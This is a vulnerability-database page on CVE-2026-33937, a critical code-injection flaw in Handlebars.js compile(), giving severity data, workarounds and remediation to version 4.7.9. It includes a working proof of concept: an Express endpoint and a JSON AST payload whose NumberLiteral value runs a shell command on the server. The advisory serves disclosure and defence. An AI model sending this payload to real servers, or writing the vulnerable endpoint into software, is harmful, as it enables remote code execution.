Skip to main content

CVE-2026-33937

| EUVDEUVD-2026-16848 CRITICAL
Code Injection (CWE-94)
2026-03-27 https://github.com/handlebars-lang/handlebars.js GHSA-2w6w-674q-4c4q
9.8
CVSS 3.1 · Vendor: https://github.com/handlebars-lang/handlebars.js
Share

Severity by source

Vendor (https://github.com/handlebars-lang/handlebars.js) PRIMARY
9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Red Hat
9.8 HIGH
qualitative

Primary rating from Vendor (https://github.com/handlebars-lang/handlebars.js).

CVSS VectorVendor: https://github.com/handlebars-lang/handlebars.js

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

4
EUVD ID Assigned
Mar 27, 2026 - 18:30 euvd
EUVD-2026-16848
Analysis Generated
Mar 27, 2026 - 18:30 vuln.today
Patch released
Mar 27, 2026 - 18:30 nvd
Patch available
CVE Published
Mar 27, 2026 - 18:19 nvd
CRITICAL 9.8

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 3 npm packages depend on handlebars (1 direct, 2 indirect)

Ecosystem-wide dependent count for version 4.0.0.

DescriptionCVE.org

Summary

Handlebars.compile() accepts a pre-parsed AST object in addition to a template string. The value field of a NumberLiteral AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to compile() can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.

Description

Handlebars.compile() accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in lib/handlebars/compiler/javascript-compiler.js emits NumberLiteral values verbatim:

javascript
// Simplified representation of the vulnerable code path:
// NumberLiteral.value is appended to the generated code without escaping
compiledCode += numberLiteralNode.value;

Because the value is not wrapped in quotes or otherwise sanitized, passing a string such as {},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() // as the value of a NumberLiteral causes the generated eval-ed code to break out of its intended context and execute arbitrary commands.

Any endpoint that deserializes user-controlled JSON and passes the result directly to Handlebars.compile() is exploitable.

Proof of Concept

Server-side Express application that passes req.body.text to Handlebars.compile():

Javascript
import express from "express";
import Handlebars from "handlebars";

const app = express();
app.use(express.json());

app.post("/api/render", (req, res) => {
  let text = req.body.text;
  let template = Handlebars.compile(text);
  let result = template();
  res.send(result);
});

app.listen(2123);
POST /api/render HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:2123

{
  "text": {
    "type": "Program",
    "body": [
      {
        "type": "MustacheStatement",
        "path": {
          "type": "PathExpression",
          "data": false,
          "depth": 0,
          "parts": ["lookup"],
          "original": "lookup",
          "loc": null
        },
        "params": [
          {
            "type": "PathExpression",
            "data": false,
            "depth": 0,
            "parts": [],
            "original": "this",
            "loc": null
          },
          {
            "type": "NumberLiteral",
            "value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
            "original": 1,
            "loc": null
          }
        ],
        "escaped": true,
        "strip": { "open": false, "close": false },
        "loc": null
      }
    ]
  }
}

The response body will contain the output of the id command executed on the server.

Workarounds

  • Validate input type before calling Handlebars.compile(): ensure the argument is always a string, never a plain object or JSON-deserialized value.
javascript
  if (typeof templateInput !== 'string') {
    throw new TypeError('Template must be a string');
  }
  • Use the Handlebars runtime-only build (handlebars/runtime) on the server if templates are pre-compiled at build time; compile() will be unavailable.

AnalysisAI

Remote code execution in Handlebars.js npm package allows unauthenticated attackers to execute arbitrary JavaScript on Node.js servers by injecting malicious payloads through crafted AST objects passed to Handlebars.compile(). The vulnerability (CWE-94 code injection) affects applications that accept user-controlled JSON and deserialize it as template input. A detailed proof-of-concept exploit demonstrates command execution via process.getBuiltinModule. Vendor patch is available in version 4.7.9 per GitHub advisory GHSA-2w6w-674q-4c4q. CVSS score 9.8 (Critical) reflects network-accessible attack requiring no privileges or user interaction.

Technical ContextAI

Handlebars.js is a widely-deployed templating engine for Node.js and browser environments (CPE: pkg:npm/handlebars). The vulnerability stems from CWE-94 (Improper Control of Generation of Code) in the JavaScript code generator located in lib/handlebars/compiler/javascript-compiler.js. When Handlebars.compile() receives a pre-parsed Abstract Syntax Tree object instead of a template string, the compiler emits NumberLiteral AST node values directly into generated JavaScript without sanitization or quoting. This allows attackers to break out of the intended code context by embedding JavaScript expressions within the NumberLiteral value field, which is subsequently eval-ed during template compilation. The design flaw exists because the AST compilation path assumes trusted input and lacks the input validation applied to string templates.

RemediationAI

Upgrade Handlebars.js to version 4.7.9 or later, which contains the patch available at https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2. Review the vendor security advisory at https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q for additional guidance. Until patching is complete, implement strict input validation by verifying that all arguments to Handlebars.compile() are strings using typeof checks before compilation, rejecting any object or deserialized JSON inputs. For production environments where templates are pre-compiled at build time, migrate to the Handlebars runtime-only build (handlebars/runtime) which removes the compile() function entirely, eliminating the attack surface. Audit all API endpoints and template rendering code paths to identify locations where user-controlled data reaches Handlebars.compile().

Vendor StatusVendor

Share

CVE-2026-33937 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy